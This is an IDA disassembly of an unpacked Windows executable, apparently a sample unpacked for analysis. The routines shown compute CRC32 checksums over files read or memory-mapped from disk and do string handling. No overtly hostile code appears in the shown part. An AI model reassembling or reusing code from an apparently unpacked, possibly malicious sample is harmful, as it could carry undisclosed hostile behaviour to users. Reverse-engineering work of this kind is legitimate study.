;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : 0CFE2D6216D393385D168103E6D45E2B
; File Name : u:\work\0cfe2d6216d393385d168103e6d45e2b_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 400000
; Section 1. (virtual address 00001000)
; Virtual size : 00015000 ( 86016.)
; Section size in file : 00015000 ( 86016.)
; Offset to raw data for section: 00001000
; Flags E0000080: Bss Executable Readable Writable
; Alignment : default
unicode macro page,string,zero
irpc c,<string>
db '&c', page
endm
ifnb <zero>
dw zero
endif
endm
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
HSho segment para public 'CODE' use32
assume cs:HSho
;org 401000h
assume es:nothing, ss:nothing, ds:HSho, fs:nothing, gs:nothing
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401000 proc near ; CODE XREF: sub_404AAE+28p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
mov dword ptr [eax+4], 0
mov ecx, [ebp+var_4]
mov dword ptr [ecx], offset off_4132C8
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_401000 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401021 proc near ; CODE XREF: sub_4019B0+Ap
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
mov dword ptr [eax], offset off_4132C8
mov ecx, [ebp+var_4]
call sub_4010DD
mov esp, ebp
pop ebp
retn
sub_401021 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40103D proc near ; CODE XREF: sub_404AAE+38p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 18h
mov [ebp+var_18], ecx
mov [ebp+var_4], 0EDB88320h
mov ecx, [ebp+var_18]
call sub_4010DD
push 400h
call sub_4114F4
add esp, 4
mov [ebp+var_14], eax
mov eax, [ebp+var_18]
mov ecx, [ebp+var_14]
mov [eax+4], ecx
mov [ebp+var_C], 0
jmp short loc_401080
; ---------------------------------------------------------------------------
loc_401077: ; CODE XREF: sub_40103D+9Aj
mov edx, [ebp+var_C]
add edx, 1
mov [ebp+var_C], edx
loc_401080: ; CODE XREF: sub_40103D+38j
cmp [ebp+var_C], 100h
jge short loc_4010D9
mov eax, [ebp+var_C]
mov [ebp+var_8], eax
mov [ebp+var_10], 8
jmp short loc_4010A1
; ---------------------------------------------------------------------------
loc_401098: ; CODE XREF: sub_40103D:loc_4010C6j
mov ecx, [ebp+var_10]
sub ecx, 1
mov [ebp+var_10], ecx
loc_4010A1: ; CODE XREF: sub_40103D+59j
cmp [ebp+var_10], 0
jle short loc_4010C8
mov edx, [ebp+var_8]
and edx, 1
test edx, edx
jz short loc_4010BE
mov eax, [ebp+var_8]
shr eax, 1
xor eax, [ebp+var_4]
mov [ebp+var_8], eax
jmp short loc_4010C6
; ---------------------------------------------------------------------------
loc_4010BE: ; CODE XREF: sub_40103D+72j
mov ecx, [ebp+var_8]
shr ecx, 1
mov [ebp+var_8], ecx
loc_4010C6: ; CODE XREF: sub_40103D+7Fj
jmp short loc_401098
; ---------------------------------------------------------------------------
loc_4010C8: ; CODE XREF: sub_40103D+68j
mov edx, [ebp+var_18]
mov eax, [edx+4]
mov ecx, [ebp+var_C]
mov edx, [ebp+var_8]
mov [eax+ecx*4], edx
jmp short loc_401077
; ---------------------------------------------------------------------------
loc_4010D9: ; CODE XREF: sub_40103D+4Aj
mov esp, ebp
pop ebp
retn
sub_40103D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4010DD proc near ; CODE XREF: sub_401021+13p
; sub_40103D+13p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], ecx
mov eax, [ebp+var_8]
mov ecx, [eax+4]
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
push edx
call sub_4114EE
add esp, 4
mov eax, [ebp+var_8]
mov dword ptr [eax+4], 0
mov esp, ebp
pop ebp
retn
sub_4010DD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401109 proc near ; CODE XREF: HSho:004016A6p
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_401109
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_10], esp
mov [ebp+var_14], 1
mov [ebp+var_4], 0
mov [ebp+var_1C], 0
mov [ebp+var_18], 0
lea eax, [ebp+var_18]
push eax
mov ecx, [ebp+arg_0]
push ecx
call dword_413024 ; GetFileSize
mov [ebp+var_1C], eax
cmp [ebp+var_1C], 0FFFFFFFFh
jnz short loc_40117B
call dword_413028 ; RtlGetLastWin32Error
test eax, eax
jz short loc_40117B
mov [ebp+var_14], 0
mov edx, [ebp+arg_4]
mov dword ptr [edx], 0
mov dword ptr [edx+4], 0
jmp short loc_40119B
; ---------------------------------------------------------------------------
loc_40117B: ; CODE XREF: sub_401109+50j
; sub_401109+5Aj
mov eax, [ebp+var_18]
xor edx, edx
mov ecx, 20h
call sub_411580
mov ecx, [ebp+var_1C]
xor esi, esi
or eax, ecx
or edx, esi
mov ecx, [ebp+arg_4]
mov [ecx], eax
mov [ecx+4], edx
loc_40119B: ; CODE XREF: sub_401109+70j
jmp short loc_4011A7
; ---------------------------------------------------------------------------
loc_40119D: ; DATA XREF: HSho:00414BD4o
mov [ebp+var_14], 0
mov eax, offset loc_4011A7
retn
; ---------------------------------------------------------------------------
loc_4011A7: ; CODE XREF: sub_401109:loc_40119Bj
; DATA XREF: sub_401109+98o
mov [ebp+var_4], 0FFFFFFFFh
mov al, [ebp+var_14]
mov ecx, [ebp+var_C]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_401109 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset sub_411A7A
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp-10h], esp
mov [ebp-1Ch], ecx
mov dword ptr [ebp-14h], 0
mov eax, [ebp+0Ch]
mov dword ptr [eax], 0FFFFFFFFh
mov dword ptr [ebp-4], 0
mov ecx, [ebp-1Ch]
cmp dword ptr [ecx+4], 0
jnz short loc_40121C
mov dword ptr [ebp-18h], 0
push offset dword_414DC0
lea edx, [ebp-18h]
push edx
call sub_4115BC ; _CxxThrowException
loc_40121C: ; CODE XREF: HSho:00401205j
; HSho:00401241j
mov eax, [ebp+8]
movsx ecx, byte ptr [eax]
test ecx, ecx
jz short loc_401243
mov edx, [ebp+0Ch]
push edx
mov eax, [ebp+8]
mov cl, [eax]
push ecx
mov ecx, [ebp-1Ch]
call sub_4019E0
mov edx, [ebp+8]
add edx, 1
mov [ebp+8], edx
jmp short loc_40121C
; ---------------------------------------------------------------------------
loc_401243: ; CODE XREF: HSho:00401224j
jmp short loc_401252
; ---------------------------------------------------------------------------
loc_401245: ; DATA XREF: HSho:00414C2Co
mov dword ptr [ebp-14h], 17h
mov eax, offset loc_401252
retn
; ---------------------------------------------------------------------------
loc_401252: ; CODE XREF: HSho:loc_401243j
; DATA XREF: HSho:0040124Co
mov dword ptr [ebp-4], 0FFFFFFFFh
mov eax, [ebp+0Ch]
mov ecx, [eax]
not ecx
mov edx, [ebp+0Ch]
mov [edx], ecx
mov eax, [ebp-14h]
mov ecx, [ebp-0Ch]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 8
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset loc_411A8E
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov eax, 108Ch
call sub_4115D0
push ebx
push esi
push edi
mov [ebp-10h], esp
mov [ebp-1084h], ecx
mov dword ptr [ebp-14h], 0
push 1
lea ecx, [ebp-70h]
call dword_41315C
mov dword ptr [ebp-4], 0
mov eax, [ebp+0Ch]
mov dword ptr [eax], 0FFFFFFFFh
mov byte ptr [ebp-4], 1
mov ecx, [ebp-1084h]
cmp dword ptr [ecx+4], 0
jnz short loc_4012F7
mov dword ptr [ebp-107Ch], 0
push offset dword_414DC0
lea edx, [ebp-107Ch]
push edx
call sub_4115BC ; _CxxThrowException
loc_4012F7: ; CODE XREF: HSho:004012DAj
mov eax, dword_413158
mov ecx, [eax]
push ecx
push 0A1h
mov edx, [ebp+8]
push edx
lea ecx, [ebp-70h]
call dword_413154
lea ecx, [ebp-70h]
call dword_413140
mov [ebp-1088h], eax
cmp dword ptr [ebp-1088h], 0
jnz short loc_40134D
mov eax, [ebp-70h]
mov ecx, [eax+4]
lea ecx, [ebp+ecx-70h]
call dword_413160
mov [ebp-108Ch], eax
mov edx, [ebp-108Ch]
mov [ebp-14h], edx
jmp loc_401400
; ---------------------------------------------------------------------------
loc_40134D: ; CODE XREF: HSho:00401327j
push 1000h
lea eax, [ebp-1078h]
push eax
lea ecx, [ebp-70h]
call dword_413144
mov [ebp-1090h], eax
mov ecx, [ebp-1090h]
call dword_413148
mov [ebp-1094h], eax
mov ecx, [ebp-1094h]
mov [ebp-78h], ecx
loc_401383: ; CODE XREF: HSho:004013F5j
cmp dword ptr [ebp-78h], 0
jz short loc_4013F7
mov dword ptr [ebp-74h], 0
jmp short loc_40139B
; ---------------------------------------------------------------------------
loc_401392: ; CODE XREF: HSho:004013BDj
mov edx, [ebp-74h]
add edx, 1
mov [ebp-74h], edx
loc_40139B: ; CODE XREF: HSho:00401390j
mov eax, [ebp-74h]
cmp eax, [ebp-78h]
jge short loc_4013BF
mov ecx, [ebp+0Ch]
push ecx
mov edx, [ebp-74h]
mov al, [ebp+edx-1078h]
push eax
mov ecx, [ebp-1084h]
call sub_4019E0
jmp short loc_401392
; ---------------------------------------------------------------------------
loc_4013BF: ; CODE XREF: HSho:004013A1j
push 1000h
lea ecx, [ebp-1078h]
push ecx
lea ecx, [ebp-70h]
call dword_413144
mov [ebp-1098h], eax
mov ecx, [ebp-1098h]
call dword_413148
mov [ebp-109Ch], eax
mov edx, [ebp-109Ch]
mov [ebp-78h], edx
jmp short loc_401383
; ---------------------------------------------------------------------------
loc_4013F7: ; CODE XREF: HSho:00401387j
lea ecx, [ebp-70h]
call dword_41314C
loc_401400: ; CODE XREF: HSho:00401348j
jmp short loc_40140F
; ---------------------------------------------------------------------------
loc_401402: ; DATA XREF: HSho:00414C8Co
mov dword ptr [ebp-14h], 17h
mov eax, offset loc_40140F
retn
; ---------------------------------------------------------------------------
loc_40140F: ; CODE XREF: HSho:loc_401400j
; DATA XREF: HSho:00401409o
mov dword ptr [ebp-4], 0
lea ecx, [ebp-70h]
call dword_413140
test eax, eax
jz short loc_40142C
lea ecx, [ebp-70h]
call dword_41314C
loc_40142C: ; CODE XREF: HSho:00401421j
mov eax, [ebp+0Ch]
mov ecx, [eax]
not ecx
mov edx, [ebp+0Ch]
mov [edx], ecx
mov eax, [ebp-14h]
mov [ebp-1080h], eax
mov dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-70h]
call dword_413150
mov eax, [ebp-1080h]
mov ecx, [ebp-0Ch]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 8
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40146A proc near ; CODE XREF: sub_404AAE+46p
var_102C = dword ptr -102Ch
var_1028 = dword ptr -1028h
var_1024 = dword ptr -1024h
var_1020 = byte ptr -1020h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_40146A
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov eax, 101Ch
call sub_4115D0
push ebx
push esi
push edi
mov [ebp+var_10], esp
mov [ebp+var_102C], ecx
mov [ebp+var_18], 0
mov [ebp+var_14], 0
mov eax, [ebp+arg_4]
mov dword ptr [eax], 0FFFFFFFFh
mov [ebp+var_4], 0
mov ecx, [ebp+var_102C]
cmp dword ptr [ecx+4], 0
jnz short loc_4014DE
mov [ebp+var_1028], 0
push offset dword_414DC0
lea edx, [ebp+var_1028]
push edx
call sub_4115BC ; _CxxThrowException
loc_4014DE: ; CODE XREF: sub_40146A+57j
push 0
push 8000027h
push 3
push 0
push 1
push 80000000h
mov eax, [ebp+arg_0]
push eax
call dword_413018 ; CreateFileA
mov [ebp+var_14], eax
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_401511
call dword_413028 ; RtlGetLastWin32Error
mov [ebp+var_18], eax
jmp loc_40159F
; ---------------------------------------------------------------------------
loc_401511: ; CODE XREF: sub_40146A+97j
push 0
lea ecx, [ebp+var_1024]
push ecx
push 1000h
lea edx, [ebp+var_1020]
push edx
mov eax, [ebp+var_14]
push eax
call dword_41301C ; ReadFile
mov [ebp+var_20], eax
loc_401533: ; CODE XREF: sub_40146A+133j
cmp [ebp+var_20], 0
jz short loc_40159F
cmp [ebp+var_1024], 0
jz short loc_40159F
mov [ebp+var_1C], 0
jmp short loc_401554
; ---------------------------------------------------------------------------
loc_40154B: ; CODE XREF: sub_40146A+10Fj
mov ecx, [ebp+var_1C]
add ecx, 1
mov [ebp+var_1C], ecx
loc_401554: ; CODE XREF: sub_40146A+DFj
mov edx, [ebp+var_1C]
cmp edx, [ebp+var_1024]
jnb short loc_40157B
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_1C]
mov dl, [ebp+ecx+var_1020]
push edx
mov ecx, [ebp+var_102C]
call sub_4019E0
jmp short loc_40154B
; ---------------------------------------------------------------------------
loc_40157B: ; CODE XREF: sub_40146A+F3j
push 0
lea eax, [ebp+var_1024]
push eax
push 1000h
lea ecx, [ebp+var_1020]
push ecx
mov edx, [ebp+var_14]
push edx
call dword_41301C ; ReadFile
mov [ebp+var_20], eax
jmp short loc_401533
; ---------------------------------------------------------------------------
loc_40159F: ; CODE XREF: sub_40146A+A2j
; sub_40146A+CDj ...
jmp short loc_4015AE
; ---------------------------------------------------------------------------
loc_4015A1: ; DATA XREF: HSho:00414CE4o
mov [ebp+var_18], 17h
mov eax, offset loc_4015AE
retn
; ---------------------------------------------------------------------------
loc_4015AE: ; CODE XREF: sub_40146A:loc_40159Fj
; DATA XREF: sub_40146A+13Eo
mov [ebp+var_4], 0FFFFFFFFh
cmp [ebp+var_14], 0
jz short loc_4015C5
mov eax, [ebp+var_14]
push eax
call dword_413020 ; CloseHandle
loc_4015C5: ; CODE XREF: sub_40146A+14Fj
mov ecx, [ebp+arg_4]
mov edx, [ecx]
not edx
mov eax, [ebp+arg_4]
mov [eax], edx
mov eax, [ebp+var_18]
mov ecx, [ebp+var_C]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 8
sub_40146A endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset sub_411AA2
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
sub esp, 38h
push ebx
push esi
push edi
mov [ebp-10h], esp
mov [ebp-44h], ecx
mov dword ptr [ebp-1Ch], 0
mov dword ptr [ebp-18h], 0
mov dword ptr [ebp-14h], 0
mov eax, [ebp+0Ch]
mov dword ptr [eax], 0FFFFFFFFh
mov dword ptr [ebp-4], 0
mov ecx, [ebp-44h]
cmp dword ptr [ecx+4], 0
jnz short loc_40164F
mov dword ptr [ebp-40h], 0
push offset dword_414DC0
lea edx, [ebp-40h]
push edx
call sub_4115BC ; _CxxThrowException
loc_40164F: ; CODE XREF: HSho:00401638j
push 0
push 8000027h
push 3
push 0
push 1
push 80000000h
mov eax, [ebp+8]
push eax
call dword_413018 ; CreateFileA
mov [ebp-18h], eax
cmp dword ptr [ebp-18h], 0FFFFFFFFh
jnz short loc_401682
call dword_413028 ; RtlGetLastWin32Error
mov [ebp-1Ch], eax
jmp loc_4017D5
; ---------------------------------------------------------------------------
loc_401682: ; CODE XREF: HSho:00401672j
mov dword ptr [ebp-2Ch], 0
mov dword ptr [ebp-28h], 0
mov dword ptr [ebp-24h], 0
mov dword ptr [ebp-20h], 0
lea ecx, [ebp-2Ch]
push ecx
mov edx, [ebp-18h]
push edx
call sub_401109
add esp, 8
mov [ebp-48h], al
mov eax, [ebp-48h]
and eax, 0FFh
test eax, eax
jnz short loc_4016C9
mov dword ptr [ebp-1Ch], 18h
jmp loc_4017D5
; ---------------------------------------------------------------------------
loc_4016C9: ; CODE XREF: HSho:004016BBj
mov ecx, [ebp-2Ch]
or ecx, [ebp-28h]
test ecx, ecx
jz loc_4017D5
push 0
push 0
push 0
push 2
push 0
mov edx, [ebp-18h]
push edx
call dword_413070 ; CreateFileMappingA
mov [ebp-14h], eax
cmp dword ptr [ebp-14h], 0
jnz short loc_401702
call dword_413028 ; RtlGetLastWin32Error
mov [ebp-1Ch], eax
jmp loc_4017D5
; ---------------------------------------------------------------------------
loc_401702: ; CODE XREF: HSho:004016F2j
; HSho:004017D0j
cmp dword ptr [ebp-28h], 0
jl loc_4017D5
jg short loc_401718
cmp dword ptr [ebp-2Ch], 0
jbe loc_4017D5
loc_401718: ; CODE XREF: HSho:0040170Cj
cmp dword ptr [ebp-28h], 0
jg short loc_401731
jl short loc_401729
cmp dword ptr [ebp-2Ch], 0A00000h
jnb short loc_401731
loc_401729: ; CODE XREF: HSho:0040171Ej
mov eax, [ebp-2Ch]
mov [ebp-38h], eax
jmp short loc_401738
; ---------------------------------------------------------------------------
loc_401731: ; CODE XREF: HSho:0040171Cj
; HSho:00401727j
mov dword ptr [ebp-38h], 0A00000h
loc_401738: ; CODE XREF: HSho:0040172Fj
mov ecx, [ebp-38h]
push ecx
mov edx, [ebp-24h]
push edx
mov ecx, 20h
mov eax, [ebp-24h]
mov edx, [ebp-20h]
call sub_411600
and edx, 0
push eax
push 4
mov eax, [ebp-14h]
push eax
call dword_41306C ; MapViewOfFile
mov [ebp-34h], eax
mov ecx, [ebp-38h]
mov [ebp-30h], ecx
mov edx, [ebp-34h]
mov [ebp-3Ch], edx
loc_40176F: ; CODE XREF: HSho:0040179Aj
mov eax, [ebp-30h]
mov ecx, [ebp-30h]
sub ecx, 1
mov [ebp-30h], ecx
test eax, eax
jbe short loc_40179C
mov edx, [ebp+0Ch]
push edx
mov eax, [ebp-3Ch]
mov cl, [eax]
push ecx
mov ecx, [ebp-44h]
call sub_4019E0
mov edx, [ebp-3Ch]
add edx, 1
mov [ebp-3Ch], edx
jmp short loc_40176F
; ---------------------------------------------------------------------------
loc_40179C: ; CODE XREF: HSho:0040177Dj
mov eax, [ebp-34h]
push eax
call dword_413040 ; UnmapViewOfFile
mov ecx, [ebp-38h]
xor edx, edx
mov eax, [ebp-24h]
add eax, ecx
mov ecx, [ebp-20h]
adc ecx, edx
mov [ebp-24h], eax
mov [ebp-20h], ecx
mov edx, [ebp-38h]
xor eax, eax
mov ecx, [ebp-2Ch]
sub ecx, edx
mov edx, [ebp-28h]
sbb edx, eax
mov [ebp-2Ch], ecx
mov [ebp-28h], edx
jmp loc_401702
; ---------------------------------------------------------------------------
loc_4017D5: ; CODE XREF: HSho:0040167Dj
; HSho:004016C4j ...
jmp short loc_4017E4
; ---------------------------------------------------------------------------
loc_4017D7: ; DATA XREF: HSho:00414D3Co
mov dword ptr [ebp-1Ch], 17h
mov eax, offset loc_4017E4
retn
; ---------------------------------------------------------------------------
loc_4017E4: ; CODE XREF: HSho:loc_4017D5j
; DATA XREF: HSho:004017DEo
mov dword ptr [ebp-4], 0FFFFFFFFh
cmp dword ptr [ebp-18h], 0
jz short loc_4017FB
mov eax, [ebp-18h]
push eax
call dword_413020 ; CloseHandle
loc_4017FB: ; CODE XREF: HSho:004017EFj
cmp dword ptr [ebp-14h], 0
jz short loc_40180B
mov ecx, [ebp-14h]
push ecx
call dword_413020 ; CloseHandle
loc_40180B: ; CODE XREF: HSho:004017FFj
mov edx, [ebp+0Ch]
mov eax, [edx]
not eax
mov ecx, [ebp+0Ch]
mov [ecx], eax
mov eax, [ebp-1Ch]
mov ecx, [ebp-0Ch]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 8
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset sub_411AAC
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov eax, 1018h
call sub_4115D0
push ebx
push esi
push edi
mov [ebp-10h], esp
mov [ebp-1028h], ecx
mov dword ptr [ebp-18h], 0
mov dword ptr [ebp-14h], 0
mov eax, [ebp+0Ch]
mov dword ptr [eax], 0FFFFFFFFh
mov dword ptr [ebp-4], 0
mov ecx, [ebp-1028h]
cmp dword ptr [ecx+4], 0
jnz short loc_4018A1
mov dword ptr [ebp-1024h], 0
push offset dword_414DC0
lea edx, [ebp-1024h]
push edx
call sub_4115BC ; _CxxThrowException
loc_4018A1: ; CODE XREF: HSho:00401884j
push 0
push 8000027h
push 3
push 0
push 1
push 80000000h
mov eax, [ebp+8]
push eax
call dword_413018 ; CreateFileA
mov [ebp-14h], eax
cmp dword ptr [ebp-14h], 0FFFFFFFFh
jnz short loc_4018D4
call dword_413028 ; RtlGetLastWin32Error
mov [ebp-18h], eax
jmp loc_401964
; ---------------------------------------------------------------------------
loc_4018D4: ; CODE XREF: HSho:004018C4j
push 0
lea ecx, [ebp-1020h]
push ecx
push 1000h
lea edx, [ebp-101Ch]
push edx
mov eax, [ebp-14h]
push eax
call dword_41301C ; ReadFile
mov [ebp-1Ch], eax
loc_4018F6: ; CODE XREF: HSho:00401962j
cmp dword ptr [ebp-1Ch], 0
jz short loc_401964
cmp dword ptr [ebp-1020h], 0
jz short loc_401964
push esi
push edi
mov eax, [ebp+0Ch]
mov ecx, [eax]
mov ebx, [ebp-1028h]
mov edi, [ebx+4]
lea esi, [ebp-101Ch]
mov ebx, [ebp-1020h]
lea edx, [esi+ebx]
loc_401924: ; CODE XREF: HSho:00401937j
xor eax, eax
mov bl, [esi]
mov al, cl
inc esi
xor al, bl
shr ecx, 8
mov ebx, [edi+eax*4]
xor ecx, ebx
cmp edx, esi
jnz short loc_401924
pop edi
pop esi
mov eax, [ebp+0Ch]
mov [eax], ecx
push 0
lea ecx, [ebp-1020h]
push ecx
push 1000h
lea edx, [ebp-101Ch]
push edx
mov eax, [ebp-14h]
push eax
call dword_41301C ; ReadFile
mov [ebp-1Ch], eax
jmp short loc_4018F6
; ---------------------------------------------------------------------------
loc_401964: ; CODE XREF: HSho:004018CFj
; HSho:004018FAj ...
jmp short loc_401973
; ---------------------------------------------------------------------------
loc_401966: ; DATA XREF: HSho:00414D94o
mov dword ptr [ebp-18h], 17h
mov eax, offset loc_401973
retn
; ---------------------------------------------------------------------------
loc_401973: ; CODE XREF: HSho:loc_401964j
; DATA XREF: HSho:0040196Do
mov dword ptr [ebp-4], 0FFFFFFFFh
cmp dword ptr [ebp-14h], 0
jz short loc_40198A
mov ecx, [ebp-14h]
push ecx
call dword_413020 ; CloseHandle
loc_40198A: ; CODE XREF: HSho:0040197Ej
mov edx, [ebp+0Ch]
mov eax, [edx]
not eax
mov ecx, [ebp+0Ch]
mov [ecx], eax
mov eax, [ebp-18h]
mov ecx, [ebp-0Ch]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 8
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4019B0 proc near ; DATA XREF: HSho:off_4132C8o
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov ecx, [ebp+var_4]
call sub_401021
mov eax, [ebp+arg_0]
and eax, 1
test eax, eax
jz short loc_4019D5
mov ecx, [ebp+var_4]
push ecx
call sub_4114EE
add esp, 4
loc_4019D5: ; CODE XREF: sub_4019B0+17j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 4
sub_4019B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4019E0 proc near ; CODE XREF: HSho:00401233p
; HSho:004013B8p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+arg_4]
mov ecx, [eax]
shr ecx, 8
mov edx, [ebp+arg_0]
and edx, 0FFh
mov eax, [ebp+arg_4]
mov eax, [eax]
and eax, 0FFh
xor edx, eax
mov eax, [ebp+var_4]
mov eax, [eax+4]
xor ecx, [eax+edx*4]
mov edx, [ebp+arg_4]
mov [edx], ecx
mov esp, ebp
pop ebp
retn 8
sub_4019E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401A20 proc near ; CODE XREF: sub_405B91+D0p
; sub_405B91+15Bp ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], ecx
mov [ebp+var_4], 0
loc_401A30: ; CODE XREF: sub_401A20+3Cj
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
test ecx, ecx
jz short loc_401A5E
mov edx, [ebp+arg_0]
add edx, [ebp+var_4]
movsx eax, byte ptr [edx]
movsx ecx, [ebp+arg_4]
cmp eax, ecx
jnz short loc_401A53
mov eax, [ebp+var_4]
jmp short loc_401A61
; ---------------------------------------------------------------------------
loc_401A53: ; CODE XREF: sub_401A20+2Cj
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
jmp short loc_401A30
; ---------------------------------------------------------------------------
loc_401A5E: ; CODE XREF: sub_401A20+1Bj
or eax, 0FFFFFFFFh
loc_401A61: ; CODE XREF: sub_401A20+31j
mov esp, ebp
pop ebp
retn 8
sub_401A20 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 8
mov [ebp-8], ecx
mov dword ptr [ebp-4], 0
loc_401A77: ; CODE XREF: HSho:00401A8Dj
mov eax, [ebp+8]
add eax, [ebp-4]
movsx ecx, byte ptr [eax]
test ecx, ecx
jz short loc_401A8F
mov edx, [ebp-4]
add edx, 1
mov [ebp-4], edx
jmp short loc_401A77
; ---------------------------------------------------------------------------
loc_401A8F: ; CODE XREF: HSho:00401A82j
mov eax, [ebp-4]
sub eax, 1
mov [ebp-4], eax
loc_401A98: ; CODE XREF: HSho:00401AC4j
mov ecx, [ebp+8]
add ecx, [ebp-4]
movsx edx, byte ptr [ecx]
test edx, edx
jz short loc_401AC6
mov eax, [ebp+8]
add eax, [ebp-4]
movsx ecx, byte ptr [eax]
movsx edx, byte ptr [ebp+0Ch]
cmp ecx, edx
jnz short loc_401ABB
mov eax, [ebp-4]
jmp short loc_401AC9
; ---------------------------------------------------------------------------
loc_401ABB: ; CODE XREF: HSho:00401AB4j
mov eax, [ebp-4]
sub eax, 1
mov [ebp-4], eax
jmp short loc_401A98
; ---------------------------------------------------------------------------
loc_401AC6: ; CODE XREF: HSho:00401AA3j
or eax, 0FFFFFFFFh
loc_401AC9: ; CODE XREF: HSho:00401AB9j
mov esp, ebp
pop ebp
retn 8
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401ACF proc near ; CODE XREF: HSho:004025F7p
; sub_4030F7+D8p ...
var_2008 = dword ptr -2008h
var_2004 = dword ptr -2004h
var_2000 = byte ptr -2000h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, 2008h
call sub_4115D0
mov [ebp+var_2008], ecx
mov [ebp+var_2004], 0
push 2000h
push 0
push offset a97 ; "97"
call sub_411622 ; memset
add esp, 0Ch
loc_401B00: ; CODE XREF: sub_401ACF:loc_401B5Ej
mov eax, [ebp+arg_4]
add eax, [ebp+arg_8]
movsx ecx, byte ptr [eax]
test ecx, ecx
jz short loc_401B60
mov edx, [ebp+arg_4]
add edx, [ebp+arg_8]
movsx eax, byte ptr [edx]
push eax
push offset dword_41702C
lea ecx, [ebp+var_2000]
push ecx
call dword_4131E4 ; sprintf
add esp, 0Ch
lea edx, [ebp+var_2000]
push edx
push offset a97 ; "97"
call dword_413074 ; lstrcatA
mov eax, [ebp+arg_8]
add eax, 1
mov [ebp+arg_8], eax
cmp [ebp+arg_C], 0
jle short loc_401B5E
mov ecx, [ebp+arg_C]
sub ecx, 1
mov [ebp+arg_C], ecx
